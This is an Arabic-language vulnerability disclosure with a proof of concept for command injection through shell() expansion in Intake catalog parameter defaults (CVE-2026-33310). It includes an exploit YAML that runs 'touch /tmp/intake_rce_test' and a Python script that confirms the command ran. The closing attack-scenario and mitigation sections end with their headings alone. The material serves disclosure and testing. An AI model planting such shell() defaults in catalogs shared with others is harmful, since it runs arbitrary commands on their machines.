
إثبات مفهوم يوضح حقن الأوامر عبر توسيع `shell()` في القيم الافتراضية للمعلمات في كتالوجات Intake، مع ملف YAML للاستغلال وسكربت إعادة إنتاج.
CVE-2026-33310 (حقن أوامر عبر توسيع shell() في القيم الافتراضية للمعلمات)
يبدو أن صيغة shell() داخل القيم الافتراضية للمعلمات يتم توسيعها تلقائيًا أثناء عملية تحليل الكتالوج. إذا كان الكتالوج يحتوي على قيمة افتراضية لمعلمة مثل shell()، فقد يتم تنفيذ الأمر عند الوصول إلى مصدر الكتالوج. هذا يعني أنه إذا قام مستخدم بتحميل ملف YAML كتالوج خبيث، فقد يتم تنفيذ أوامر مدمجة على النظام المضيف. يمكن تصنيف هذا السلوك على أنه CWE-78: حقن أوامر نظام التشغيل / توسيع شل غير آمن.
يبدو أن المشكلة تنبع من كيفية توسيع القيم الافتراضية للمعلمات عند الوصول إلى مصدر الكتالوج.
أثناء تحميل الكتالوج والوصول إلى المصدر:
يقوم Intake بحل القيم الافتراضية للمعلمات تقوم الوظيفة المسؤولة عن توسيع القيم الافتراضية بمعالجة صيغة shell() يؤدي تعبير shell إلى تشغيل عملية فرعية نظرًا لأن هذا يحدث أثناء تقييم الكتالوج، فقد يتم تنفيذ الأمر قبل أن يتفاعل المستخدم صراحةً مع مجموعة البيانات نفسها.
يبدو أن المنطق المتأثر يتضمن:
expand_defaults()
والآليات ذات الصلة بتحليل المعلمات.
exploit.yaml
metadata:
version: 1
sources:
rce_test:
driver: csv
description: "اختبار توسيع shell في المعلمات"
args:
urlpath: "{{ cmd_exec }}"
parameters:
cmd_exec:
display_name: "معلمة اختبار"
type: str
default: "shell(touch /tmp/intake_rce_test)"
reproduce.py
import intake
import os
PROOF_FILE = "/tmp/intake_rce_test"
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}")
try:
cat = intake.open_catalog("exploit.yaml")
print("Accessing source...")
_ = cat["rce_test"]
except Exception as e:
print(f" Error during execution: {e}")
if os.path.exists(PROOF_FILE):
print(f" Command execution confirmed, Found: {PROOF_FILE}")
else:
print("Command execution did not occur.")
يمكن أن يكون سيناريو الهجوم المحتمل كما يلي:
إذا تم تأكيد أن هذا السلوك غير مقصود، يمكن للمهاجم توزيع ملف كتالوج خبيث عبر:
يمكن أن تشمل التخفيفات المحتملة: